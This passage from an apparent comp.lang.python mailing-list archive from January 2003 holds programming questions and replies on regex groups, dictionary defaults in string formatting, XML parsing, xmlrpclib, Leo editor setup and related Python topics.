> feature though, so the way you've coded your C switch statement wouldn't
> work.
> 

but the absolute /only/ reason you'd use a switch over an if (besides
looking better) is fall through.

anyway, I'm not counting on python getting a switch.  I'll just get around
to writing my pre-processor one day that takes brackets, semi-colons,
switch's, for's (not foreach like python), and do-while.  and then I'll be
happy:)

-- 
Steven Scott [Bodoni26 at resnet.gatech.edu]
Don't give up fighting, 'til nothing else stands in your way..Don't
give up talking, until there's nothing left to say....But no matter




From skip at pobox.com  Wed Jan 22 22:10:37 2003
From: skip at pobox.com (Skip Montanaro)
Date: Wed, 22 Jan 2003 21:10:37 -0600
Subject: Name space pollution
In-Reply-To: <200301222336.h0MNaRe29779@guava.araneus.fi>
References: <200301222336.h0MNaRe29779@guava.araneus.fi>
Message-ID: <15919.23853.51054.21158@montanaro.dyndns.org>

    Andreas> It seems to me that Python should not be polluting the
    Andreas> namespace this way - shouldn't the Python typedef be something
    Andreas> like PyDestructor instead of just "destructor"?
    ...
    Andreas> Is there any chance this will be fixed?

I forwarded your note to the python-dev mailing list.  Please consider
filing a bug report on SourceForge.  Python 2.3 is in an active alpha phase
right now, so I would guess there's a fair probability this can be fixed.
(Any chance you can develop a patch to solve the problem?)

Skip





From phr-n2003b at NOSPAMnightsong.com  Tue Jan 28 13:00:29 2003
From: phr-n2003b at NOSPAMnightsong.com (Paul Rubin)
Date: 28 Jan 2003 10:00:29 -0800
Subject: Simple Web Proxy
References: <memo.20030128171641.1600A@a.radioscape.com>
Message-ID: <7x8yx540jm.fsf@ruckus.brouhaha.com>

I've been using Amit Patel's proxy3, which is great.  I haven't tried
proxy4 or proxy5 yet.  I've customized proxy3 for some particular
sites I look at sometimes too--it's fantastic to be able to easily do
that.

http://theory.stanford.edu/~amitp/proxy.html



From claird at lairds.com  Fri Jan 10 08:33:42 2003
From: claird at lairds.com (Cameron Laird)
Date: Fri, 10 Jan 2003 13:33:42 -0000
Subject: How do I get to *all* of the groups of an re search?
References: <sl51f-6dj.ln1@news.lairds.org>
Message-ID: <v1titmb0454v58@corp.supernews.com>

In article <sl51f-6dj.ln1 at news.lairds.org>,
Kyler Laird  <Kyler at news.Lairds.org> wrote:
>	http://www.python.org/doc/current/lib/re-syntax.html
>	(...)
>	    Matches whatever regular expression is inside the
>	    parentheses, and indicates the start and end of a 
>	    group; the contents of a group can be retrieved
>	    after a match has been performed, [...]
>
>Sounds good, so I tried it.
>
>	import re
>
>	text = 'foo foo1 foo2 bar bar1 bar2 bar3'
>
>	test_re = re.compile('([a-z]+)( \\1[0-9]+)+')
>
>	print test_re.findall(text)
>
>I expected the matches to be something like
>	[('foo', [' foo1', ' foo2']), ('bar', [' bar1', ' bar2', ' bar3'])]
>but it's just this.
>	[('foo', ' foo2'), ('bar', ' bar3')]
>
>How do I get to the other groups that were matched?  (Is this
>an FAQ?  I don't know where to start looking.)
			.
			.
			.
Oh, it's matching all the groups.  Does the code below help
explain why?

I'm clumsy with REs--I don't immediately see how to achieve
your desired result.  I can quickly observe that
  import re

  text = 'foo foo1 foo2 bar bar1 bar2 bar3'

  test_re = re.compile('([a-z]+)(( \\1[0-9]+)+)')

  print test_re.findall(text) 
yields
  [('foo', ' foo1 foo2', ' foo2'), ('bar', ' bar1 bar2 bar3', ' bar3')]
One of us will probably get an RE that properly listifies these
within the next day ...
-- 

Cameron Laird <Cameron at Lairds.com>
Business:  http://www.Phaseit.net
Personal:  http://phaseit.net/claird/home.html



From aleax at aleax.it  Mon Jan 27 02:25:23 2003
From: aleax at aleax.it (Alex Martelli)
Date: Mon, 27 Jan 2003 07:25:23 GMT
Subject: Purpose of Python Type Checking?
References: <mailman.1043633328.27598.python-list@python.org> <A7WdnXDV-psLLqmjXTWcoA@comcast.com> <pan.2003.01.26.23.56.53.590876@compy.attbi.com>
Message-ID: <D95Z9.118884$AA2.5074168@news2.tin.it>

jerf at compy.attbi.com wrote:

> On Sun, 26 Jan 2003 23:13:29 -0500, Terry Reedy wrote:
>> 2. Situation-specific need such as changing behavior depending on
>> type.
>> 3. Application of belief in "look-before-you-leap" rather than
>> "try-it-and-see".
> 
> I use it in my code generally as a combination of those two; I believe in
> "try it and see, but if it fails it must fail atomically", i.e., a failure
> does not change anything in the data structure. If I can not guarentee

I find a (very occasional) need for such "low-level atomicity" (more
often the atomicity must be ensured as part of a larger transaction
in an ACID context and thus it's not very useful to bend over backwards
to also guarantee it to such fine granularity), and have documented
the approach as a recipe in the Python Cookbook, online at:
http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/52291

I've named this approach "_Accurate_ look-before-you-leap".  There
is a more detailed analysis and explanation of it in the O'Reilly
printed version of the Python Cookbook, of course.  But the key issue
is that even in such very occasional situations type-checking is
hardly ever the best way -- rather, *feature-checking* (checking
that objects have the needed attributes and that certain operations
can be performed with them) is generally superior, in the same vein:

> this, I will do certain checks (usually just the type checking described
> in the OP), which while you can never always truly *guarentee* that an
> operation will succeed after those checks, you may be able to push the
> occurance rate down to an acceptable level.

...i.e., no guarantees, but better chances of "high-granularity
atomicity", and WITHOUT all the costs imposed by type-checking.


> Usually I leave an out, though, by declaring an empty "Tag" class from
> which my top-level class derives, and checking against that rather then
> the top-level class, so if someone REALLY knows what they are doing, they
> can still write a class with that interface from scratch. (Which reminds

But this means they still cannot use an otherwise perfectly acceptable
object they get from somewhere else -- they still have to wrap it with
a delegating-class instance just for the "boilerplate" satisfaction of
making your typechecks happy.  Not optimal, IMHO, except perhaps in a
tiny subset of such already pretty-rare cases.

Generalized protocol-adaptation would go a very long way towards making
such debates moot, of course -- but as it doesn't seem likely we'll get
it any time soon, I think it's preferable to keep warning most coders
against the instinctive-but-inferior impulse to typecheck.


Alex




From hancock at anansispaceworks.com  Mon Jan 13 02:15:13 2003
From: hancock at anansispaceworks.com (Terry Hancock)
Date: Mon, 13 Jan 2003 07:15:13 GMT
Subject: Seeking Minimal Python Project Name (was: [pypy-dev] Re: [ann]	MinimalPython project)
References: <5.0.2.1.1.20030112185911.00a7a6d0@mail.oz.net> <mailman.1042428982.26240.python-list@python.org> <vAsU9.66$_d2.118955@news.uswest.net>
Message-ID: <5ItU9.7305$Dq.767535@newsread2.prod.itd.earthlink.net>

Kevin Altis wrote:
> There is only one name possible, it must be called pythy.
> As in pithy

Not that it's necessarily a bad name, but *why* is that appropriate?

I immediately thought of the image of a snake biting its tail -- an ancient 
symbol of the cycle of life, recursion, etc.  The name for this symbol 
appears to be variously:

Uroboros
Ourobouros
Ourobourus

Not sure which spelling is "canonical".  Not so easy to pronounce though.

I also thought of doing something with "Python Squared", but it's neither 
very original nor catchy.

Cheers,
Terry


-- 
Anansi Spaceworks
http://www.anansispaceworks.com



From p-abel at t-online.de  Mon Jan 13 18:13:14 2003
From: p-abel at t-online.de (Peter Abel)
Date: 13 Jan 2003 15:13:14 -0800
Subject: string formatting with missing dictionary key
References: <3e22f35a@news.ColoState.EDU>
Message-ID: <13a533e8.0301131513.5627c995@posting.google.com>

gyro <gyromagnetic at excite.com> wrote in message news:<3e22f35a at news.ColoState.EDU>...
> Hi,
> A nice feature of later versions of Python is the ability to get and set 
> undefined keys/values in dictionaries (dict.get,dict.setdefault).
> 
> However, this mechanism doesn't seem to be usable directly for a case in 
> which I am interested. I have an application in which I have a 
> formatting 'template' and a dictionary from which I get values for the 
> template.
> In certain situations, there is a dictionary that doesn't have one or 
> more keys specified in the formatting string. In these cases, I get the 
> expected 'KeyError'.
> 
> As a very simple example, consider
> 
> mdict = {'a':1, 'b':2, 'c':3}
> fline = "%(a)s ; %(d)s ; %(e)s" % mdict
> 
> Suppose you want any undefined keys to have the value 'default', i.e.
> 
> fline == "1 ; default ; default"
> 
> 
> As far as I can see, there is no direct way to use .get/.setdefault to 
> do something like
> 
> "%(a)s ; %(d)s ; %(e)s" % mdict.setmissingkeyval('default')
> 
> so I have come up with the following workaround:
> 
>  >>> mdict = {'a':1, 'b':2, 'c':3}
>  >>> fline = ''
>  >>> while not fline:
> ...   try:
> ...     fline = "%(a)s ; %(d)s ; %(e)s" % mdict
> ...   except KeyError,e:
> ...     dummy = mdict.setdefault(e.args[0],'default')
> 
> 
> Is there a better or more Pythonic way to do this?
> 
> Thanks for your help.
> 
> -g

Hi gyro

some more lines at the beginning,
but then, i think a little bit more Pythonic:

>>> class myDict:
... 	def __init__(self,default='default'):
... 		self.mdict={}
... 		self.default=default
... 	def __setitem__(self,key,value):
... 		self.mdict[key]=value
... 	def __getitem__(self,key):
... 		return self.mdict.get(key,self.default)
... 	def keys(self):
... 		return self.mdict.keys()
... 	def values(self):
... 		return self.mdict.values()
... 	def items(self):
... 		return self.mdict.items()
... 	def update(self,dict):
... 		self.mdict.update(dict)
... 

# An Example
>>> mdict=myDict('AnyDefaultValue')
>>> mdict.update({'a':1,'b':2,'c':3})
>>> mdict.items()
[('a', 1), ('c', 3), ('b', 2)]
>>> mdict
<__main__.myDict instance at 0x00D7AE40>
>>> fline = "%(a)s ; %(d)s ; %(e)s" % mdict
>>> fline
'1 ; AnyDefaultValue ; AnyDefaultValue'
>>> 

Remark, i think <def keys>, <def values>, <def items> are not nessesarily
to implement.

Cheers Peter!



From donnalcwalter at yahoo.com  Sun Jan  5 07:22:14 2003
From: donnalcwalter at yahoo.com (Donnal Walter)
Date: Sun, 5 Jan 2003 06:22:14 -0600
Subject: parameter/argument terminology
Message-ID: <av97vu$p93$1@main.gmane.org>

In writing Python documentation for functions/methods, are the terms
'argument' and 'parameter' essentially interchangeable? Or is it true that
parameter usually refers to the definition and argument to the call?



    def myFunc(self, P1, P2):

        print P1, P2             # P1 and P2 are parameters



    def doSomething(self):

        X = 'Hello '

        Y = 'world'

        self.myFunc(X, Y)        # X and Y are arguments



Donnal Walter

Arkansas Children's Hospital








From phr-n2003b at NOSPAMnightsong.com  Wed Jan 29 01:10:18 2003
From: phr-n2003b at NOSPAMnightsong.com (Paul Rubin)
Date: 28 Jan 2003 22:10:18 -0800
Subject: New Python block cipher API, comments wanted
References: <7x3cneku24.fsf_-_@ruckus.brouhaha.com> <yyybs21m67q.fsf@adams.patriot.net> <7x65s9dnea.fsf@ruckus.brouhaha.com> <mailman.1043791529.1041.python-list@python.org> <7xr8awg6lt.fsf@ruckus.brouhaha.com> <3E37240E.DB91BC7F@alcyone.com> <7x1y2wzpr0.fsf@ruckus.brouhaha.com> <3E376CB6.D4A32AF2@alcyone.com>
Message-ID: <7xbs208p11.fsf@ruckus.brouhaha.com>

Erik Max Francis <max at alcyone.com> writes:
> > It sounds like you're thinking of this as some complicated subsystem
> > where a lot of API-level stuff needs to be ironed out that hasn't been
> > thought about yet.  It's not anything like that.  This functionality
> > has been done many times before and crypto application writers are
> > used to it.
> 
> So why, again, does it need to be rushed into 2.3, which is already at
> alpha?

So that applications can use it without having to wait for 2.3.1 or
whatever.



From gerrit at nl.linux.org  Thu Jan  9 16:00:36 2003
From: gerrit at nl.linux.org (Gerrit Holl)
Date: Thu, 9 Jan 2003 22:00:36 +0100
Subject: These are discouraging stats to Perlistas & Pythonistas...
In-Reply-To: <1042001407.3565.188.camel@x1-6-00-04-5a-64-c4-03>
References: <776e0325.0301070721.7405a312@posting.google.com> <S5GS9.5881$qU5.4697503@newssrv26.news.prodigy.com> <avfkpp$a7n$1@nyheter.chalmers.se> <1042001407.3565.188.camel@x1-6-00-04-5a-64-c4-03>
Message-ID: <20030109210036.GA2651@nl.linux.org>

Cliff Wells schreef op woensdag  8 januari om 05:53:33 +0000:
> On Tue, 2003-01-07 at 14:36, Jacob Hallen wrote:
> 
> > An interesting thought is wether the 55 Python programmers will produce
> > more useful applications than the 2037 VB programmers.
> 
> Perhaps the 2037 VB programmers weren't productive enough, so now
> there's 2037 more VB jobs available <wink>

Perhaps 2037 VB programmers can do with VB what 55 Python programmers
can do with Python <g> :)

yours,
Gerrit.

-- 
Asperger Syndroom - een persoonlijke benadering:
	http://people.nl.linux.org/~gerrit/
Het zijn tijden om je zelf met politiek te bemoeien:
	http://www.sp.nl/




From gsmatthew at ozemail.com.au  Sat Jan 18 23:04:57 2003
From: gsmatthew at ozemail.com.au (Graeme)
Date: Sun, 19 Jan 2003 15:04:57 +1100
Subject: xml.dom.minidom
Message-ID: <MtpW9.105$f8.6156@nnrp1.ozemail.com.au>

Hi all, thanks to all those who helped yesterday ...

I now need to get my orderlines, from my order xml

for example:

<order>
<orderId>12345</orderId>
<name>Test</name>
<orderlines>

    <orderline>
        <partno>12345</partno>
        <qty>123</qty>
    </orderline>

    <orderline>
        <partno>12346</partno>
        <qty>125</qty>
    </orderline>
</orderlines>
<order>

I keep on getting the first child been returned for example

def __getOrderLineElements(self,orderNode):

        try:
            return orderNode.getElementsByTagName('OrderLines')
        except:
            return None

Is there a way to find out how many child descendents there are i.e
orderlines for the one order as I thought about looping them
and doing it as follows -> return
orderNode.getElementsByTagName('OrderLines')[n]

surely all orderline items must belong to the OrderLines node / element ?

any help would be good

Thanks

Graeme





From edream at tds.net  Sat Jan 11 06:09:38 2003
From: edream at tds.net (Edward K. Ream)
Date: Sat, 11 Jan 2003 11:09:38 GMT
Subject: [ann] Minimal Python project
References: <mailman.1042209749.31180.python-list@python.org> <FOIT9.121090$Hs2.11398609@kent.svc.tds.net> <mailman.1042244899.21279.python-list@python.org>
Message-ID: <SXST9.121155$Hs2.11453643@kent.svc.tds.net>

> > This announcement seems to be making a truly remarkable claim, namely
> > that one could increase the speed of  C code by recoding it in Python
> > and then applying Psycho to it.
>
> Sure, you can't generally get faster than C code.  But then,
> we just said faster than CPython (and note 'eventually').
> Armin Rigo gives some ideas in
>
>     http://psyco.sourceforge.net/plans.html

Many thanks for this link.  Actually, these slides do propose a method that
might be faster that the C _interpreter_ code.  As such they seem to be
supporting the "truly remarkable" claim.  I shall look forward to the full
paper with keen interest.

Edward





From peter at engcorp.com  Thu Jan 16 14:57:05 2003
From: peter at engcorp.com (Peter Hansen)
Date: Thu, 16 Jan 2003 14:57:05 -0500
Subject: String Problem, What is it I don't understand?
References: <300e2v422gc01dsc8pn66jvi7cpooqkpek@4ax.com>
Message-ID: <3E270E91.387D8562@engcorp.com>

Bubba wrote:
> 
> I would expect to get the month day and year from the following, but
> day and year are null
> 
> xxx = "01/17/03"
> month = xxx[0:2]
> print "month=",month
> day = xxx[3:2]
> print "day=",day
> year = xxx[6:2]
> print "year=",year

Burkhard posted the one answer, so I'm just going to point out
that a much simpler approach for this particular problem is
to use "split", as in

 month, day, year = xxx.split('/')

Unless you have to deal with dates in which the separator
can be one of a number of options (ugh) this is much more
readable, probably faster (not that it matters), and 
would handle four-digit years quite nicely as well.

-Peter



From reageer.in at de.nieuwsgroep  Thu Jan 30 15:25:34 2003
From: reageer.in at de.nieuwsgroep (Rene Pijlman)
Date: Thu, 30 Jan 2003 21:25:34 +0100
Subject: Python newbie question
References: <f918ac11.0301300759.4ac814bc@posting.google.com>
Message-ID: <3a2j3vk8qgtqrm0mfrlvahfcl0pso5cf6r@4ax.com>

Nicolay Vasiliev:
>is there any way for connect to the database having ODBC driver 
>of this database (I mean having Windows OS on the client PC)?
>
>Particularly I need of Sybase SQL Anywhere connection. Maybe having
>ODBC-driver I need not of any specific technology to make connection?

The place to look is:
http://www.python.org/topics/database/ and
http://www.python.org/topics/database/modules.html

I don't see a module for SQL Anywhere directly, but there
certainly is an ODBC module (in fact, there are two). Check
Google for experiences
(http://groups.google.com/groups?as_q=mxODBC%20%22ODBC%20Interface%22&safe=images&ie=UTF-8&oe=UTF-8&as_ugroup=comp.lang.python&lr=&num=50&hl=en).

-- 
Ren? Pijlman

Wat wil jij leren?  http://www.leren.nl



From adalke at mindspring.com  Wed Jan 29 02:43:49 2003
From: adalke at mindspring.com (Andrew Dalke)
Date: Wed, 29 Jan 2003 00:43:49 -0700
Subject: Hacking Heaven - Leo+XEmacs Integrated
In-Reply-To: <pan.2003.01.29.03.56.09.541780@al-queda.org>
References: <93rZ9.51593$F63.1103117@news.xtra.co.nz> <b176jl$vrg$1@slb5.atl.mindspring.net> <pan.2003.01.29.03.56.09.541780@al-queda.org>
Message-ID: <b180nm$jc1$1@slb3.atl.mindspring.net>

Aum wrote:
> The simpler way to set it up is to just stuck a script called 'leo'
> somewhere in your execution path. The script I'm using (which assumes the
> leo directory is /usr/local/src/leo), is:

Mmmm, may want to clean that up as (untested)

   #!/usr/bin/env python

   import sys, os
   pybin = '/usr/bin/python'
   leodir = '/usr/local/src/leo'
   print sys.argv
   if len(sys.argv) != 2:
     sys.exit("usage: leo filename.leo")
   d, f = os.path.split(sys.argv[1])
   print "dir = '%s', file = '%s'" % (d, f)
   if d:
     os.chdir(d)
   os.execv(pybin, (leodir, f))

but that's besides the point.  The distribution isn't ready
for people to use, at least by people like me who would rather
not have to figure out what's missing from a distribution and
implement it myself.

I realize there are people who like doing that.  Just like
I realize there are people who tweak initialization and other
dot files.  I'm just not one of them.


>>In the local cvs directory?  I didn't see that file located
>>anywhere under the /usr/local/ directory, which is what I
>>expected.  How does any leo installation know to look in
>>the cvs directory for the configuration.
> 
> 
> Depends on where you check out leo to. I use /usr/local/src/leo

You said to "Install Leo from CVS."  I got it from CVS and
installed with "python setup.py install".

You then said "Replace LeoPy.leo with my hacked copy".
That implies replacing it in the installation, and not in
the checkout dir.  But that file doesn't exist in the
installation.

In other words, I am telling you that your directions and
leo's directions for installing it are lacking.  To make
it more likely that people will look into leo, fix the
installation instructions, and fix the other problems
(like a missing "INSTALL.txt") I pointed out.

>>>3. Set up your xemacs so it launches gnuserv on startup
>>
>>Used xemacs for years. .... So, um, how do I do that and why?
> 
> gnuserv is an XEmacs function. Simply stick '(gnuserv)' in your init.el

What is an 'init.el'?  I don't find one in my filesystem.
The closest is /usr/share/xemacs-21.1.14/lisp/x-init.el

Is it the same as a .emacs file?  I don't often customize
things so I don't hav... oh, I do have one!  It says

;; Red Hat Linux default .emacs initialization file

Anyway, I added "(gnuserv)" to the end of my .emacs file and
started xemacs to get the following message


(1) (initialization/error) An error has occurred while loading ~/.emacs:

Symbol's function definition is void: gnuserv

To ensure normal operation, you should investigate the cause of the error
in your initialization file and remove it.  Use the `-debug-init' option
to XEmacs to view a complete error backtrace.



BTW, what I'm trying to do is again point out that just because
you know what to do doesn't mean that others know what to do.
I could likely root around the xemacs.org site to figure this out,
but why is it worth my time to figure out all the missing parts?

Oh, and it appears that I can start gnuserve with M-x gnuserve-start
However, leo doesn't seem to affect it at all.  (I tested that it
worked by using 'gnuclient'.)

BTW, you said "slide the divider all the way right so no code pane
is visible, then resize the window to thin and tall".  Isn't the
code pane on the bottom, so to make it disappear I move the horizontal
slider all the way to the bottom?  I have three frames, which look
like

    -------------------
   |            |      |
   |  tree      |  log |
   |            |      |
   |--------------------
   |                   |
   |   code            |
   |                   |
   |                   |
    -------------------

Note that none of the examples in the documentation show a screenshot
with the log window and the doc for "equal sized panes" implies
there should be only two
   The Equal Sized Panes command resizes the panes so that each
   fills half of the main window.

I completely agree with Jack Diederich's comment that the leo site
and documentation is very vague.  There's nothing to walk through
the basics of what it means to use the editor.  I am not going to
spend much time trying to figure things out.

Now, I think the idea of an outlining editor is interesting, which
is why I'm putting this effort into having you all clean up the
code and fix things up so it's more accessible to people whose
brains don't automatically understand what it's about.



> XEmacs will run normally, but with one difference. If another process on
> your system executes the command 'gnuclient filename', it's the same as it
> executing 'xemacs filename', except the file gets opened in the same
> instance of xemacs. Magic really.

Hmmm.  I do recall someone talking about that about 5 years ago.
Never looked into it.

> As above, put '(gnuserv)' in your init.el

As above, what init.el?

>>How do I start leo?  Nothing is installed under /usr/local/bin.
>>Ahhh, okay, grep for "__main__" shows that the exectuable is
>>'leo.py', which is not marked as executable out of cvs so I need
>>to run it as 'python leo.py'.
> 
> 
> Use the above script.

My point it that that step isn't obvious.  Why isn't that
program installed into /usr/local/bin/leo?  Why isn't that
script marked as executable in CVS?


>>Looks like I shouldn't have done the 'python setup.py install'?
> 
> Doesn't seem to be needed.

Then why is it there and why isn't there anything which describes
how to install the package (like the INSTALL.TXT which the
CHANGELOG^WREADME says is supposed to be there).  The standard
practice is that you install Python code with setup.py, so this
violates that practice.

> Check out my screenshot at:
> http://www.freenet.org.nz/downloads/leo-screenshot.gif

I did.  It looks, btw, like there's no way I can keep the Python
code in one file.  For example, I'll do a search for "self.var"
in xemacs to view all uses of the var attribute in a class,
but since everything is broken up into small files, I lose that
ability.

And searches in leo aren't interactive like they are in emacs.

I have no more time to investigate this.  Could you please
bring it up again in a few months, once all these usability and
support issues have been addressed?

					Andrew
					dalke at dalkescientific.com




From andrew-pythonlist at puzzling.org  Sun Jan 19 17:13:11 2003
From: andrew-pythonlist at puzzling.org (Andrew Bennetts)
Date: Mon, 20 Jan 2003 09:13:11 +1100
Subject: __parent__ - like attribute?
In-Reply-To: <5.1.1.6.0.20030119075736.01d38618@www.dylanreinhardt.com>
References: <av7cuu$cu2$1@slb0.atl.mindspring.net> <YhlS9.24314$NB4.6001@FE05> <5.1.1.6.0.20030118165504.01d41718@www.dylanreinhardt.com> <mailman.1042947586.19440.python-list@python.org> <mailman.1042955509.8397.python-list@python.org> <5.1.1.6.0.20030119075736.01d38618@www.dylanreinhardt.com>
Message-ID: <20030119221310.GE8210@frobozz.local>

On Sun, Jan 19, 2003 at 08:15:45AM -0800, Dylan Reinhardt wrote:
> At 03:41 AM 1/19/2003, Bengt Richter wrote:
> 
> >   class Egg:
> >        def __init__(self, my_container):
> >            self.my_container = my_container
> 
> 
> This is actually what I'm doing now.  If this is the best available answer, 
> I can certainly live with that, but it been surprised at what some of the 
> namespace wizards here have come up with in the past, so I thought I'd see 
> if there is a more elegant/efficient answer.

Judging from what you've said earlier, the most elegant way to solve your
specific problem would be to have both Egg and Spam inherit from Persistent,
and let them both manage their own _p_changed flags.  Then there is no need
to pass parent references around, or other namespace tricks -- ZODB will
take care of it for you.

Is there some reason you can't do this?

-Andrew.





From NOSPAM at fusion.net.nz  Fri Jan  3 02:27:05 2003
From: NOSPAM at fusion.net.nz (Lloyd)
Date: Fri, 3 Jan 2003 20:27:05 +1300
Subject: Accessing a PyInstances dictionary from C++
Message-ID: <YTaR9.4650$j94.883590@news02.tsnz.net>

Hey

I'm trying to call a method on a python object from C++. I have a PyInstance
but can't for figure out how to obtain the dictionary from the instance so
that I can call the method on the object.

Any help appreciated.

Thanks





From davecook at nowhere.net  Sat Jan  4 17:42:40 2003
From: davecook at nowhere.net (David M. Cook)
Date: Sat, 04 Jan 2003 22:42:40 GMT
Subject: Applications/examples of some advanced Py features, please !
References: <5a969143.0301040712.4cd2ad10@posting.google.com>
Message-ID: <slrnb1eots.11b.davecook@localhost.localdomain>

In article <5a969143.0301040712.4cd2ad10 at posting.google.com>, Az Tech wrote:

> 3. Thoughts on implementing Interfaces in Py - a la Java interfaces.

You can find several examples in the Python Cookbook:

http://aspn.activestate.com/ASPN/Cookbook/Python?kwd=OOP&query_start=21

Dave Cook



From dglenn at charter.net  Wed Jan 22 18:36:27 2003
From: dglenn at charter.net (Doug Glenn)
Date: Wed, 22 Jan 2003 18:36:27 -0500
Subject: Commercial IDEs: is it worth it?
In-Reply-To: <4ZuX9.13933$CG6.239986@news4.e.nsc.no>
References: <4ZuX9.13933$CG6.239986@news4.e.nsc.no>
Message-ID: <200301221836.27024.dglenn@charter.net>

On Wednesday 22 January 2003 06:08, Thomas Weholt wrote:
> Opinions on what, where and why to pay for a Python-friendly IDE
> would be appreciated.

I use Komodo (personal edition 49$), Wingide (Standard, 149$) and 
BlackAdder Personal Edition (beta, 49$).

Call me stupid for it if you want. :)

Komodo for its project management and license for both Windows and 
Linux. version for the same price. (I _think_. I use it on the same 
computer).  

Wingide for the excellant source code brower and the source management 
tools. I prefer the look and feel of Komodo, but Wingide has far more 
features.

BlackAdder for the PyQT integration. Although I could have used the open 
source items to build the GUIs with the free QTDesigner, the 
documentation for PyQT on it was better than anything I found on the 
web regarding PyQT even though it is not finished.

Personally as a newbie to Python, I am looking for all the help I can 
get without resorting to showing my abject ignorance in the list :).

On a personal note...
One other reason to purchase.. they wrote it for Linux and I want to 
support their efforts. I even buy autoupdates for my distro so they 
stay in business rather than downloading it. There is no such thing as 
a free lunch. I try to make sure put my money where my mouth is <smile>

-----
Doug




From stevenn at outerthought.org  Wed Jan 22 14:54:50 2003
From: stevenn at outerthought.org (Steven Noels)
Date: Wed, 22 Jan 2003 20:54:50 +0100
Subject: trying to wrap xmlrpclib into classes
In-Reply-To: <15918.45702.385600.887517@montanaro.dyndns.org>
References: <004b01c2c16c$ef26c780$21795418@dell1700>        <3E2E947D.7050600@outerthought.org>        <15918.42917.203377.862983@montanaro.dyndns.org>        <3E2EABEA.4050405@outerthought.org> <15918.45702.385600.887517@montanaro.dyndns.org>
Message-ID: <3E2EF70A.7040208@outerthought.org>

Skip Montanaro wrote:

>     Steven> page = Page('Main', 'http://wiki.cocoondev.org/RPC2/')
> 
> Since the default path is "/RPC2" (that is, xmlrpclib will send a POST
> request to the server with "/RPC2" as the path), why are you giving that?

In this case, the XMLRPC endpoint is located at /RPC2/ for some strange
reason, not at /RPC2

>     Steven> pageInfo = page.retrievePageInfo()
>     Steven> version = page.getVersion()
>     Steven> author = page.getAuthor()
>     Steven> lastModified = page.getlastModified()
> 
> This looks very vanilla.
> 
>     Steven> twodays = 60*60*24*2
>     Steven> twodaysago = time.gmtime(time.time() - twodays)
>     Steven> changes = RecentChanges('http://wiki.cocoondev.org/RPC2/')
>     Steven> rc = changes.getRecentChanges(twodaysago)
> 
> As does this.  Do you wrap twodaysago in a DateTime object locally or just
> pass it along as a tuple?

tuple - is that OK?

>     Steven> rc being a dictionary of a sequence of built-in types with a
>     Steven> proper lookup key rather than a list of dictionary objects which
>     Steven> the default xmlrpclib creates for an XMLRPC array.
> 
> This I can't quite parse.  Are you complaining that it does something funky
> with lists or dicts?  Can you give a concrete example?

an XMLRPC array is translated in a list of dictionary objects, IIUC, 
which is a bit awkward to navigate

for my application, I prefered to wrap that into a dictionary of tuples, 
providing easier access to the items in the array. Maybe, after having 
learned more about the different data types, I might come up with 
another structure...

Is this more clear?

thanks for your comments,

</Steven>
-- 
Steven Noels                            http://outerthought.org/
Outerthought - Open Source, Java & XML Competence Support Center
Read my weblog at            http://blogs.cocoondev.org/stevenn/
stevenn at outerthought.org                stevenn at apache.org






From claird at lairds.com  Sat Jan 18 12:43:33 2003
From: claird at lairds.com (Cameron Laird)
Date: Sat, 18 Jan 2003 17:43:33 -0000
Subject: Towards a Python machine?
References: <r3ah2vct96fthj6s6iq1albk9vbap48nsk@4ax.com> <7xvg0nw8ez.fsf@ruckus.brouhaha.com> <mailman.1042901792.7836.python-list@python.org>
Message-ID: <v2j4i5daf4i85a@corp.supernews.com>

In article <mailman.1042901792.7836.python-list at python.org>,
Skip Montanaro  <skip at pobox.com> wrote:
>    Paul> A Lisp machine could probably run a Python-like language pretty
>    Paul> well.
>
>Yeah, but wasn't it that general purpose processors could run Lisp as well
>as a Lisp Machine one of the factors that led to its demise?
>
>Skip
>
>
>

One of, yes <URL:
http://www.andromeda.com/people/ddyer/lisp/lispm-faq-and-history.html >.
-- 

Cameron Laird <Cameron at Lairds.com>
Business:  http://www.Phaseit.net
Personal:  http://phaseit.net/claird/home.html



From norm at norm.com  Mon Jan 27 22:55:07 2003
From: norm at norm.com (Norm)
Date: Mon, 27 Jan 2003 22:55:07 -0500
Subject: Dumb Q #1
Message-ID: <3e35fde8_3@corp.newsgroups.com>

I would like to open this unix passwd file and chang the GID of those who
have a GID of 200 to 199

This does everything except change fields[3] to 199

Thoughts?
Norm

##############################
import sys
try:
    file = open ("passwd.txt" , "r+")
except IOError, message:
    print >> sys.stderr," Can't open the file:", message
    sys.exit(1)

records = file.readlines()

for record in records:
    fields = record.split(':')
    if fields[3] == "200":
        print fields[0], " has a GID of 200"
        print "now changing it to 199"
        fields[3] = 199
file.close()




-----= Posted via Newsfeeds.Com, Uncensored Usenet News =-----
http://www.newsfeeds.com - The #1 Newsgroup Service in the World!
-----==  Over 80,000 Newsgroups - 16 Different Servers! =-----



From nav at adams.patriot.net  Tue Jan 21 12:13:13 2003
From: nav at adams.patriot.net (Nick Vargish)
Date: 21 Jan 2003 12:13:13 -0500
Subject: Unsubscribe
References: <mailman.1043167727.24532.python-list@python.org>
Message-ID: <yyyhec2qvdi.fsf@adams.patriot.net>

"Umer Hanif" <umer41 at hotmail.com> writes:

> <DIV></DIV></div><br clear=all><hr>Help STOP SPAM: Try the new MSN 8 and <a href="http://g.msn.com/8HMTEN/2023">get 2 months FREE*</a> </html>

That's my favorite part right there. The irony is multi-dimensional.

And someone, please, PLEASE, unsubscribe this person.

Nick

-- 
# sigmask.py  ||  version 0.2  ||  2003-01-07  ||  Feed this to your Python.
print reduce(lambda x,y:x+chr(ord(y)-1),'Ojdl!Wbshjti!=obwAqbusjpu/ofu?','')




From cnetzer at mail.arc.nasa.gov  Tue Jan 28 16:25:29 2003
From: cnetzer at mail.arc.nasa.gov (Chad Netzer)
Date: Tue, 28 Jan 2003 13:25:29 -0800
Subject: Generating Unique Keys
In-Reply-To: <7xvg09c8bi.fsf@ruckus.brouhaha.com>
References: <mailman.1043710965.5817.python-list@python.org> <47e891f1.0301281237.16079102@posting.google.com> <7xvg09c8bi.fsf@ruckus.brouhaha.com>
Message-ID: <200301282125.NAA08667@mail.arc.nasa.gov>

On Tuesday 28 January 2003 12:45, Paul Rubin wrote:
> trevp at trevp.net (Trevor Perrin) writes:

> > And it would be better to generate the secret_prefix as a good
> > random number on system startup, not bake it into a configuration.
>
> If you've got a source of good random numbers, you can just use them
> directly as tokens and not need this hashing stuff.

??? - Surely you must assume that Trevor was talking about normal 
pseudo-random number generators (not cryptographically secure, or true 
entropy based random numbers; Trevor, am I correct?).  The point is 
